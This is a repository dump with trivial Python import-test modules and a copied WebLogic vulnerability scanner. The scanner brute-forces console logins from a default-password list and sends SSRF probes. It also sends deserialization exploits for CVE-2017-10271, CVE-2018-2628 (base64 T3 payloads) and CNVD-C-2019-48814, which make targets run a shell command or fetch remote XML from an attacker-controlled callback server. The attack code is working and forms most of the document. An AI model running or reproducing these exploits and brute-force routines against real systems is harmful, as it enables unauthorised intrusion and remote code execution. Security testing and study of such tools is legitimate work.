https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test2.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/__pycache__/test3.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test3.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/__pycache__/test7.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test7.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/__pycache__/test8.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test8.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/__pycache__/test_main.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/test_main.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/__pycache__/testpure.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/__pycache__/testpure.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test12/__pycache__/test4.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test12/__pycache__/test4.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test12/__pycache__/test6.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test12/__pycache__/test6.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test12/test121/__pycache__/test1211.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test12/test121/__pycache__/test1211.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test12/test121/test1211.py: -------------------------------------------------------------------------------- 1 | 2 | def test1211(): 3 | return 100 -------------------------------------------------------------------------------- /测试项目/test/test12/test4.py: -------------------------------------------------------------------------------- 1 | 2 | def test4(): 3 | return 4 -------------------------------------------------------------------------------- /测试项目/test/test12/test6.py: -------------------------------------------------------------------------------- 1 | 2 | def test6(var1): 3 | return 10 * var1 -------------------------------------------------------------------------------- /测试项目/test/test2.py: -------------------------------------------------------------------------------- 1 | #dep test3 2 | 3 | from test12 import test6, test4 4 | from test12.test121.test1211 import test1211 5 | import test34 6 | 7 | def test2(): 8 | return __import__('test3').test3() + __import__('test3').var + test6.test6(2) + test4.test4() + test1211() + test34.a -------------------------------------------------------------------------------- /测试项目/test/test3.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | from test7 import test7_class 5 | import os 6 | from test12 import test6 7 | from test12.test121 import test1211 8 | 9 | var = 2 10 | 11 | def test3(): 12 | b = test7_class(1) 13 | return 1 + b.getRes() + test6.test6(2) + test1211.test1211() -------------------------------------------------------------------------------- /测试项目/test/test34/__init__.py: -------------------------------------------------------------------------------- 1 | import testpure 2 | 3 | a = 3 + testpure.a -------------------------------------------------------------------------------- /测试项目/test/test34/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test34/__pycache__/test341.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/__pycache__/test341.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test34/__pycache__/test342.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/__pycache__/test342.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test34/test341.py: -------------------------------------------------------------------------------- 1 | #from . import test342 2 | 3 | from test34 import test9 4 | 5 | def test341(): 6 | return 1 + test9.b 7 | 8 | class test123(): 9 | @staticmethod 10 | def test123(): 11 | return 123 -------------------------------------------------------------------------------- /测试项目/test/test34/test342.py: -------------------------------------------------------------------------------- 1 | 2 | def a(): 3 | return 10 -------------------------------------------------------------------------------- /测试项目/test/test34/test9/__init__.py: -------------------------------------------------------------------------------- 1 | b=1 -------------------------------------------------------------------------------- /测试项目/test/test34/test9/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/test/test34/test9/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /测试项目/test/test7.py: -------------------------------------------------------------------------------- 1 | 2 | import math 3 | import test8 4 | from test12 import test4 5 | 6 | class test7_class(): 7 | def __init__(self, a): 8 | self.a = a 9 | 10 | def getRes(self): 11 | return self.a * 2 + test8.test8() + test4.test4() -------------------------------------------------------------------------------- /测试项目/test/test8.py: -------------------------------------------------------------------------------- 1 | from test34 import test341 2 | 3 | def test8(): 4 | return 20 + test341.test341() -------------------------------------------------------------------------------- /测试项目/test/test_main.py: -------------------------------------------------------------------------------- 1 | 2 | import test2 3 | from test34.test341 import test123 4 | 5 | def main(): 6 | print(test2.test2() + 1 + test123.test123()) 7 | -------------------------------------------------------------------------------- /测试项目/test/testpure.py: -------------------------------------------------------------------------------- 1 | 2 | a: int = 7 -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | *.so 3 | *.egg 4 | *.egg-info 5 | dist 6 | build 7 | .idea 8 | url.txt 9 | config.py -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/weblogic-scan-master/1.png -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/README.md: -------------------------------------------------------------------------------- 1 | # weblogic-scan 2 | weblogic 漏洞扫描工具 3 | ~~妄想~~试图weblogic一把梭 4 | 目前检测的功能 5 | 6 | - [x] console 页面探测 & 弱口令扫描 7 | - [x] uuid页面的SSRF 8 | - [x] CVE-2017-10271 wls-wsat页面的反序列化 9 | - [x] CVE-2018-2628 反序列化 10 | - [x] CNVD-C-2019-48814 11 | 12 | 后期可以的话还会继续加功能的,主要是一些反序列化的poc真的不好写,我也不咋会.. 13 | 14 | # USE 15 | 16 | **使用前请先填写`config.py`中的`server`参数** 17 | 推荐配合`http://ceye.io`之类的工具使用,server格式为`http://xxx.ceye.io` 18 | 19 | 使用方式比较简单,目前支持两种模式 20 | 21 | 1、扫描url.txt中的所有url 22 | 23 | ``` 24 | python3 weblogic-scan 25 | ``` 26 | 27 | 2、扫描单一的url 28 | 29 | ``` 30 | python3 weblogic-scan 127.0.0.1:7001 31 | ``` 32 | 33 | ![](weblogic-scan.gif) 34 | 35 | console弱口令和CVE-2018-2628的扫描结果会直接在控制台中输出。 36 | 37 | uuid页面的SSRF以及wls-wsat反序列化会在server服务器中留下日志文件。 38 | 会在域名前带上受影响机子的地址,这样扫描多个地址的时候方便做区分。 39 | 40 | ![](1.png) 41 | 42 | # prepare 43 | 44 | ## ENV 45 | 46 | - version: python3 47 | - expand : requests 48 | 49 | ## config.py 50 | 51 | - timeout: 52 | ​ 自定义timeout的时间,包括requests和socket的timeout 53 | - **server**(没有默认值,务必填写): 54 | 由于一些exp发送后具体有没有成功需要看服务器是否有数据返回 55 | 需要一个服务器来接受这种数据,例如`http://ceye.io` 56 | 攻击成功会在dns记录以及http的log部分留下数据 57 | 58 | ## url.txt 59 | 60 | 支持如下几种格式的url 61 | 62 | - 127.0.0.1 63 | - 127.0.0.1:7001 64 | - http://127.0.0.1 65 | - http://127.0.0.1:7001 66 | - https://127.0.0.1 67 | - http://127.0.0.1:7001 68 | 69 | 不填写端口默认端口为80,https起头的默认端口为443 70 | 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/dict/CVE-2018-2628-data.txt: -------------------------------------------------------------------------------- 1 | AAAFwwFlAf//////////AAAAagAA6mAAAAAZAJN7SEpW+kp3dmb1gdqk9bkOKuv8YHSZtAJ5c3IAeHIBeHICeHAAAAAKAAAAAwAAAAAAAAAGAHBwcHBwcAAAAAoAAAADAAAAAAAAAAYAcAb+AQAArO0ABXNyAB13ZWJsb2dpYy5yanZtLkNsYXNzVGFibGVFbnRyeS9SZYFX9PntDAAAeHByACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACEkABW1ham9ySQAFbWlub3JJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoTAAJaW1wbFRpdGxldAASTGphdmEvbGFuZy9TdHJpbmc7TAAKaW1wbFZlbmRvcnEAfgADTAALaW1wbFZlcnNpb25xAH4AA3hwdwIAAHj+AQAArO0ABXNyAB13ZWJsb2dpYy5yanZtLkNsYXNzVGFibGVFbnRyeS9SZYFX9PntDAAAeHByACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuVmVyc2lvbkluZm+XIkVRZFJGPgIAA1sACHBhY2thZ2VzdAAnW0x3ZWJsb2dpYy9jb21tb24vaW50ZXJuYWwvUGFja2FnZUluZm87TAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACEkABW1ham9ySQAFbWlub3JJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoTAAJaW1wbFRpdGxlcQB+AARMAAppbXBsVmVuZG9ycQB+AARMAAtpbXBsVmVyc2lvbnEAfgAEeHB3AgAAeP4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5L1JlgVf0+e0MAAB4cHIAIXdlYmxvZ2ljLmNvbW1vbi5pbnRlcm5hbC5QZWVySW5mb1hUdPObyQjxAgAGSQAFbWFqb3JJAAVtaW5vckkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hbAAhwYWNrYWdlc3QAJ1tMd2VibG9naWMvY29tbW9uL2ludGVybmFsL1BhY2thZ2VJbmZvO3hyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuVmVyc2lvbkluZm+XIkVRZFJGPgIAA1sACHBhY2thZ2VzcQ== 2 | AH4AA0wADnJlbGVhc2VWZXJzaW9udAASTGphdmEvbGFuZy9TdHJpbmc7WwASdmVyc2lvbkluZm9Bc0J5dGVzdAACW0J4cgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlBhY2thZ2VJbmZv5vcj57iuHskCAAhJAAVtYWpvckkABW1pbm9ySQAMcm9sbGluZ1BhdGNoSQALc2VydmljZVBhY2taAA50ZW1wb3JhcnlQYXRjaEwACWltcGxUaXRsZXEAfgAFTAAKaW1wbFZlbmRvcnEAfgAFTAALaW1wbFZlcnNpb25xAH4ABXhwdwIAAHj+AP/+AQAArO0ABXNyABN3ZWJsb2dpYy5yanZtLkpWTUlE3EnCPt4SHioMAAB4cHdQIQAAAAAAAAAAAA0xOTIuMTY4LjEuMjI3ABJXSU4tQUdETVZRVUIxVDYuZWiDNIzWAAAABwAAG1n///////////////////////////////94/gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3IAEU3EK9Bw== 3 | GncnAA0yNDIuMjE0 4 | LjEuMjU0YYY9HQAAAAB4 -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/dict/CVE-2018-2628-evildata.txt: -------------------------------------------------------------------------------- 1 | AAADuwVlCAAAAAEAAAAbAAAAXQEBAHNyAXhwc3ICeHAAAAAAAAAAAHVyA3hwAAAAAHh0AAh3ZWJsb2dpY3VyBHhwAAAADJyXmpqMmpvPz5uTmnQACHdlYmxvZ2ljBv4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5L1JlgVf0+e0MAAB4cHIAAltCrPMX+AYIVOACAAB4cHcCAAB4/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHB3AgAAeP4BAACs7QAFc3IAHXdlYmxvZ2ljLnJqdm0uQ2xhc3NUYWJsZUVudHJ5L1JlgVf0+e0MAAB4cHIAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHB3AgAAeP4BAACs7QAFc30AAAABAB1qYXZhLnJtaS5hY3RpdmF0aW9uLkFjdGl2YXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAC1qYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN0SW52b2NhdGlvbkhhbmRsZXIAAAAAAAAAAgIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHc3AApVbmljYXN0UmVmAA4xMDQuMjUxLjIyOC41MAAAG1kAAAAAAe6pCwAAAAAAAAAAAAAAAAAAAHj+AQAArO0ABXNyACV3ZWJsb2dpYy5yanZtLkltbXV0YWJsZVNlcnZpY2VDb250ZXh03cuocGOG8LoMAAB4cgApd2VibG9naWMucm1pLnByb3ZpZGVyLkJhc2ljU2VydmljZUNvbnRleHTkYyI2xdSnHgwAAHhwdwIGAHNyACZ3ZWJsb2dpYy5ybWkuaW50ZXJuYWwuTWV0aG9kRGVzY3JpcHRvchJIWoKK9/Z7DAAAeHB3NAAuYXV0aGVudGljYXRlKEx3ZWJsb2dpYy5zZWN1cml0eS5hY2wuVXNlckluZm87KQAAABt4eP4A/w== -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/dict/weakpass.txt: -------------------------------------------------------------------------------- 1 | system:password 2 | system:system 3 | system:security 4 | system:123456 5 | system:system123 6 | weblogic:weblogic 7 | weblogic:weblogic123 8 | weblogic:admin 9 | weblogic:admin123 10 | weblogic:123456 11 | weblogic:Weblogic123 12 | admin:admin 13 | admin:admin123 14 | admin:security 15 | joe:password 16 | mary:password 17 | portaladmin:portaladmin 18 | guest:guest 19 | wlcsystem:password 20 | wlcsystem:wlcsystem 21 | wlpisystem:password 22 | wlpisystem:wlpisystem -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/lib/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: kingkk 3 | # @Date: 2018-11-06 19:30:12 4 | # @Last Modified by: kingkk 5 | # @Last Modified time: 2018-11-06 19:30:16 6 | import sys 7 | sys.path.append('../') 8 | -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/lib/display.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: kingkk 3 | # @Date: 2018-11-07 11:36:49 4 | # @Last Modified by: kingkk 5 | # @Last Modified time: 2018-11-07 16:40:02 6 | def warning(string, *args, **kwargs): 7 | print('\033[31m{}\033[31m'.format(string), *args, **kwargs) 8 | 9 | def success(string, *args, **kwargs): 10 | print('\033[32m{}\033[32m'.format(string), *args, **kwargs) 11 | 12 | def info(string, *args, **kwargs): 13 | print('\033[33m{}\033[33m'.format(string), *args, **kwargs) 14 | 15 | def primary(string, *args, **kwargs): 16 | print('\033[34m{}\033[34m'.format(string), *args, **kwargs) -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/lib/prepare.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: kingkk 3 | # @Date: 2018-11-08 15:09:07 4 | # @Last Modified by: King kaki 5 | # @Last Modified time: 2019-05-17 15:48:23 6 | import re 7 | from urllib.parse import urlparse 8 | from lib.display import * 9 | from lib.vuln import * 10 | 11 | 12 | banner = r""" _ _ _ 13 | __ _____| |__ | | ___ __ _(_) ___ ___ ___ __ _ _ __ 14 | \ \ /\ / / _ \ '_ \| |/ _ \ / _` | |/ __|____/ __|/ __/ _` | '_ \ 15 | \ V V / __/ |_) | | (_) | (_| | | (_______\__ \ (__ (_| | | | | 16 | \_/\_/ \___|_.__/|_|\___/ \__, |_|\___| |___/\___\__,_|_| |_| 17 | |___/ 18 | 19 | github: https://github.com/kingkaki/weblogic-scan 20 | """ 21 | 22 | helper = '''[!] wrong format 23 | 1: python {name} 24 | scan all url in url.txt 25 | 2: python {name} target 26 | scan only one target 27 | E.g: python {name} 127.0.0.1:7001''' 28 | 29 | def url2target(url): 30 | if url.startswith('https'): 31 | target = urlparse(url).netloc 32 | if ':' not in target: 33 | target = target + ':443' 34 | elif url.startswith('http'): 35 | target = urlparse(url).netloc 36 | if ':' not in target: 37 | target = target + ':80' 38 | else: 39 | target = urlparse(url).path 40 | if ':' not in target: 41 | target = target + ':80' 42 | return target 43 | 44 | def mode1(): 45 | # mode1 扫描字典中的所有url 46 | with open("url.txt","r") as f: 47 | targets = [url2target(target.strip()) for target in f.readlines()] 48 | for target in targets: 49 | try: 50 | uuid_SSRF(target) 51 | console(target) 52 | CVE_2017_10271(target) 53 | CVE_2018_2628(target) 54 | CNVD_C_2019_48814(target) 55 | except requests.exceptions.ConnectionError as e: 56 | info("[-] is busy: {}".format(target)) 57 | except requests.exceptions.ReadTimeout as e: 58 | info("[-] time out: {}".format(target)) 59 | except KeyboardInterrupt as e: 60 | warning("[!] user aborted") 61 | exit() 62 | 63 | def mode2(url): 64 | # mode2 扫描单个url 65 | target = url2target(url.strip()) 66 | try: 67 | uuid_SSRF(target) 68 | console(target) 69 | CVE_2017_10271(target) 70 | CVE_2018_2628(target) 71 | CNVD_C_2019_48814(target) 72 | except requests.exceptions.ConnectionError as e: 73 | info("[-] is busy: {}".format(target)) 74 | except requests.exceptions.ReadTimeout as e: 75 | info("[-] time out: {}".format(target)) 76 | except KeyboardInterrupt as e: 77 | warning("[!] user aborted") 78 | exit() 79 | 80 | def test_mode(url, poc): 81 | # 测试专用 82 | target = url2target(url.strip()) 83 | try: 84 | from lib import vuln 85 | poc = getattr(vuln, poc) 86 | poc(target) 87 | except AttributeError as e: 88 | warning("[!] {} doesn't existed!".format(poc)) 89 | except requests.exceptions.ConnectionError as e: 90 | info("[-] is busy: {}".format(target)) 91 | except requests.exceptions.ReadTimeout as e: 92 | info("[-] time out: {}".format(target)) 93 | except KeyboardInterrupt as e: 94 | warning("[!] user aborted") 95 | exit() 96 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/lib/vuln.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: kingkk 3 | # @Date: 2018-11-06 19:31:09 4 | # @Last Modified by: kingkk 5 | # @Last Modified time: 2019-05-15 19:46:08 6 | import requests 7 | import re 8 | import time 9 | import socket 10 | import base64 11 | import warnings 12 | from config import TIMEOUT 13 | from lib.display import * 14 | import sys 15 | warnings.filterwarnings("ignore") 16 | 17 | 18 | def weakpass(host, port): 19 | up_list = [] 20 | url = 'http://{}:{}/console/j_security_check'.format(host, port) 21 | headers = { 22 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0", 23 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 24 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 25 | } 26 | 27 | with open("dict/weakpass.txt","r") as f: 28 | for up in f.readlines(): 29 | if up == '\n': 30 | continue 31 | else: 32 | up_list.append(tuple(up.strip().split(":"))) 33 | 34 | for user, passwd in up_list: 35 | data = {'j_username': user, 'j_password': passwd} 36 | r = requests.post(url, data=data, headers=headers,timeout=TIMEOUT) 37 | 38 | info('[*] weakpass test - {}:{}'.format(user, passwd), end="\r") 39 | if r.text.count('Home Page') != 0 or r.text.count('WebLogic Server Console') != 0 or r.text.count('console.portal') != 0: 40 | success('[+] weak passwd!: {}:{} - {}:{}'.format(host, port, user, passwd)) 41 | return 42 | info('[*] weakpass failed - {}:{}\t'.format(host, port)) 43 | 44 | 45 | def console(target): 46 | host, port = target.split(":") 47 | if int(port) == 443: 48 | url = 'https://{}/console/login/LoginForm.jsp'.format(host) 49 | else: 50 | url = 'http://{}:{}/console/login/LoginForm.jsp'.format(host, port) 51 | headers = { 52 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0", 53 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 54 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 55 | } 56 | 57 | r = requests.get(url, headers=headers, timeout=TIMEOUT) 58 | 59 | 60 | if r.status_code == 200 and 'Oracle WebLogic Server 管理控制台' in r.text and 'Oracle 是 Oracle Corporation 和/或其子公司的注册商标' in r.text: 61 | success('[+] console find: {}'.format(target)) 62 | weakpass(host, port) 63 | else: 64 | info('[-] console not find: {}'.format(target)) 65 | 66 | 67 | 68 | 69 | 70 | def uuid_SSRF(target): 71 | from config import server 72 | host, port = target.split(":") 73 | if int(port) == 443: 74 | url = 'https://{}/uddiexplorer/SearchPublicRegistries.jsp'.format(host) 75 | else: 76 | url = 'http://{}:{}/uddiexplorer/SearchPublicRegistries.jsp'.format(host, port) 77 | 78 | headers = { 79 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0", 80 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 81 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 82 | } 83 | server_host = re.search(r'https?://([^/]+)', server) 84 | try: 85 | server_host = server_host.group(1) 86 | except: 87 | server_host = server 88 | params = { 89 | "operator":"http://{}.{}".format(host, server_host), 90 | "rdoSearch":"name", 91 | "txtSearchname":"sdf", 92 | "selfor":"Business+location", 93 | "btnSubmit":"Search" 94 | } 95 | 96 | 97 | r = requests.get(url, params=params,verify=False, headers=headers, timeout=TIMEOUT) 98 | 99 | # 页面发现 100 | # if 'Oracle WebLogic Server' in r.text and r.status_code == 200: 101 | # print('[x] pagefind: {}'.format(url)) 102 | primary("[+] uuid_ssrf: {}".format(target)) 103 | 104 | def CVE_2017_10271(target): 105 | from config import server 106 | host, port = target.split(":") 107 | if int(port) == 443: 108 | url = 'https://{}/wls-wsat/CoordinatorPortType'.format(host) 109 | 110 | else: 111 | url = 'http://{}:{}/wls-wsat/CoordinatorPortType'.format(host, port) 112 | headers = { 113 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0", 114 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 115 | "Content-Type": "text/xml", 116 | "Accept-Encoding": "gzip, deflate", 117 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 118 | } 119 | server_host = re.search(r'http://([^/]+)', server) 120 | try: 121 | server_host = server_host.group(1) 122 | except: 123 | server_host = server 124 | # print(server_host) 125 | data = ''' 126 | 127 | 128 | 129 | 130 | 131 | /bin/bash 132 | 133 | 134 | -c 135 | 136 | 137 | ping {}.{} 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | '''.format(host, server_host) 146 | 147 | 148 | r = requests.post(url, data=data,verify=False, headers=headers, timeout=TIMEOUT) 149 | 150 | # print(r.request.url) 151 | # print(r.request.headers) 152 | # print(r.request.body) 153 | primary("[+] CVE wls-wsat: {}".format(target)) 154 | 155 | def CVE_2018_2628(target): 156 | def t3handshake(sock,server_addr): 157 | try: 158 | sock.connect(server_addr) 159 | sock.send(base64.b64decode('dDMgMTIuMi4xCkFTOjI1NQpITDoxOQpNUzoxMDAwMDAwMAoK')) 160 | time.sleep(0.5) 161 | sock.recv(1024) 162 | except : 163 | pass 164 | 165 | def buildT3RequestObject(sock,port): 166 | try: 167 | with open('dict/CVE-2018-2628-data.txt', "r") as f: 168 | datas = [ data.strip() for data in f.readlines()] 169 | 170 | for d in datas: 171 | sock.send(base64.b64decode(d)) 172 | time.sleep(0.5) 173 | recv_l = len(sock.recv(2048)) 174 | if recv_l == 0: 175 | info('[-] CVE-2018-2628 recv {} :{} '.format(recv_l, target)) 176 | else: 177 | success('[*] CVE-2018-2628 recv {} :{} '.format(recv_l, target)) 178 | except: 179 | pass 180 | 181 | def sendEvilObjData(sock): 182 | with open("dict/CVE-2018-2628-evildata.txt", "r") as f: 183 | payload = base64.b64decode(f.read()) 184 | 185 | try: 186 | sock.send(payload) 187 | time.sleep(1.5) 188 | sock.send(payload) 189 | except: 190 | pass 191 | res = b'' 192 | try: 193 | for i in range(3): 194 | res += sock.recv(4096) 195 | time.sleep(0.1) 196 | except Exception as e: 197 | pass 198 | return res 199 | 200 | def checkVul(res,server_addr): 201 | # print(len(str(res))) 202 | p=re.findall('\\$Proxy[0-9]+', str(res), re.S) 203 | if len(p)>0: 204 | success('[+] CVE-2018-2628 vul: {}'.format(target)) 205 | else: 206 | info('[-] CVE-2018-2628 not vul: {}'.format(target)) 207 | 208 | host, port = target.split(":") 209 | port = int(port) 210 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 211 | sock.settimeout(TIMEOUT) 212 | server_addr = (host, port) 213 | t3handshake(sock,server_addr) 214 | buildT3RequestObject(sock,port) 215 | rs=sendEvilObjData(sock) 216 | checkVul(rs,server_addr) 217 | 218 | def CNVD_C_2019_48814(target): 219 | from config import server 220 | host, port = target.split(":") 221 | if int(port) == 443: 222 | url = 'https://{}/_async/AsyncResponseServicee'.format(host) 223 | 224 | else: 225 | url = 'http://{}:{}/_async/AsyncResponseService'.format(host, port) 226 | headers = { 227 | "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0", 228 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 229 | "Content-Type": "text/xml", 230 | "Accept-Encoding": "gzip, deflate", 231 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 232 | } 233 | server_host = re.search(r'http://([^/]+)', server) 234 | try: 235 | server_host = server_host.group(1) 236 | except: 237 | server_host = server 238 | data = ''' 239 | 240 | xx 241 | xx 242 | 243 | 244 | com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 245 | 246 | http://{}.{} 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | '''.format(host, server_host) 256 | 257 | r = requests.post(url, data=data,verify=False, headers=headers, timeout=TIMEOUT) 258 | 259 | primary("[+] CNVD-C-2019-48814: {}".format(target)) 260 | 261 | 262 | def test(): 263 | print("test") -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/weblogic-scan.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/weblogic-scan-master/weblogic-scan.gif -------------------------------------------------------------------------------- /测试项目/weblogic-scan-master/weblogic_scan.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: kingkk 3 | # @Date: 2018-11-06 19:12:26 4 | # @Last Modified by: kingkk 5 | # @Last Modified time: 2019-05-15 19:05:38 6 | 7 | import config 8 | from lib.display import * 9 | from lib import prepare 10 | import sys 11 | 12 | def main(): 13 | success(prepare.banner) 14 | if config.server == '': 15 | info("[!] plz input recv_server or fill in config.py:", end=" ") 16 | config.server = input() 17 | if len(sys.argv) == 1: 18 | prepare.mode1() 19 | elif len(sys.argv) == 2: 20 | prepare.mode2(sys.argv[1]) 21 | elif len(sys.argv) == 3: 22 | prepare.test_mode(sys.argv[1], sys.argv[2]) 23 | else: 24 | info(prepare.helper.format(name=sys.argv[0])) 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | --------------------------------------------------------------------------------